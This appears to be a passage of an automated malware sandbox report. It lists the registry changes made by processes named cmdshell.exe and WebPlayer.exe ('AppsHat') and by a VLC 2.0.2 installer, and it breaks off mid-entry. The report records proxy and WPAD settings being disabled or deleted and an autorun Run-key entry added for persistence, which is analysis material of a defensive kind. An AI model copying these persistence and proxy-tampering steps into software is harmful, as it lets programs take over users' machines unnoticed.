[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "FF 2E 57 D4 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "FF 2E 57 D4 A2 45 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cmdshell.exe:1872 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "3D CA B2 D8 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "09 62 81 DD A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "09 62 81 DD A2 45 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WebPlayer.exe:3012 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351234145"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "09 62 81 DD A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Wed Feb 11 04:31:41 UTC 0200 2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "DB A0 F2 DF A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "DB A0 F2 DF A2 45 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process vlc-2.0.2-win32.exe:3452 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\VLC.m2ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aiff\shell]
"(Default)" = "Open"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell]
"(Default)" = "Open"

[HKCR\VLC.adts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wmv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.voc]
"(Default)" = "VLC media file (.voc)"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.tta\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.adt\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell]
"(Default)" = "Open"

[HKCR\VLC.avi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.spx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell]
"(Default)" = "Open"

[HKCR\VLC.qcp]
"(Default)" = "VLC media file (.qcp)"

[HKCR\VLC.cue\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mov" = "VLC.mov"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell]
"(Default)" = "Open"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\Version]
"(Default)" = "1.0"

[HKCR\VLC.drc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ifo\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.amr]
"(Default)" = "VLC.amr"

[HKCR\VLC.wma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".PLS" = ""

[HKCR\VLC.ogv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".APE" = ""

[HKCR\VLC.mpe\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".a52" = "VLC.a52"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.adt\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.snd\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CDA" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rec" = "VLC.rec"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\.sdp]
"(Default)" = "VLC.sdp"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.m2t\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.b4s\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64]
"(Default)" = "VLC media file (.w64)"

[HKCR\VLC.adts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mxf" = ""

[HKCR\VLC.qcp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\VLC.divx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe]
"FriendlyAppName" = "VLC media player"

[HKCR\VLC.mpc\shell]
"(Default)" = "Open"

[HKCR\.qcp]
"(Default)" = "VLC.qcp"

[HKCR\VLC.nsv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.adts\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".qcp" = ""

[HKCR\VLC.nsv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.ogg]
"(Default)" = "VLC.ogg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Action" = "Play DVD movie"

[HKCR\VLC.avi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf\shell]
"(Default)" = "Open"

[HKCR\VLC.xspf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.avi\shell]
"(Default)" = "Open"

[HKCR\VLC.mid\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"URLInfoAbout" = "http://www.videolan.org/"

[HKCR\VLC.ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2t]
"(Default)" = "VLC media file (.m2t)"

[HKCR\VLC.mp3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m3u8\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mxf]
"(Default)" = "VLC.mxf"

[HKCR\VLC.ogm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m1v" = ""

[HKCR\VLC.flac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VideoLAN.VLCPlugin.1]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.au\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.caf]
"(Default)" = "VLC media file (.caf)"

[HKCR\VLC.wma\shell\Open]
"(Default)" = "Play"

[HKCR\.mp3]
"(Default)" = "VLC.mp3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.it\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.VCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wav\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.flac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.VCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.m3u8\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aif\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".bin" = "VLC.bin"

[HKCR\VLC.oga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.m2v]
"(Default)" = "VLC.m2v"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.dts]
"(Default)" = "VLC.dts"

[HKCR\.wma]
"(Default)" = "VLC.wma"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.flac]
"(Default)" = "VLC.flac"

[HKCR\VLC.mpe\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.mpeg2]
"(Default)" = "VLC.mpeg2"

[HKCR\VLC.m3u\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell\Open]
"(Default)" = "Play"

[HKCR\.ts]
"(Default)" = "VLC.ts"

[HKCR\VLC.flv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AC3" = ""

[HKCR\VLC.tts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.w64\shell]
"(Default)" = "Open"

[HKCR\Directory\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.wv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mkv" = ""

[HKCR\VLC.cda\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mtv]
"(Default)" = "VLC.mtv"

[HKCR\VLC.mtv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AAC" = "VLC.aac"

[HKCR\VLC.vob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mka" = ""

[HKCR\VLC.mlp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Path" = "%Program Files% (x86)\VideoLAN\VLC\npvlc.dll"

[HKCR\VLC.m3u8\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell]
"(Default)" = "Open"

[HKCR\VLC.bin\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aifc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.nsv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.CDAudio]
"(Default)" = "VLC CD Audio"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.ifo\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell]
"(Default)" = "Open"

[HKCR\VLC.m4p]
"(Default)" = "VLC media file (.m4p)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MOD" = "VLC.mod"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tod" = ""

[HKCR\VLC.mp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.au]
"(Default)" = "VLC media file (.au)"

[HKCR\VLC.rmi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.snd]
"(Default)" = "VLC media file (.snd)"

[HKCR\VLC.xspf\shell\PlayWithVLC\command]
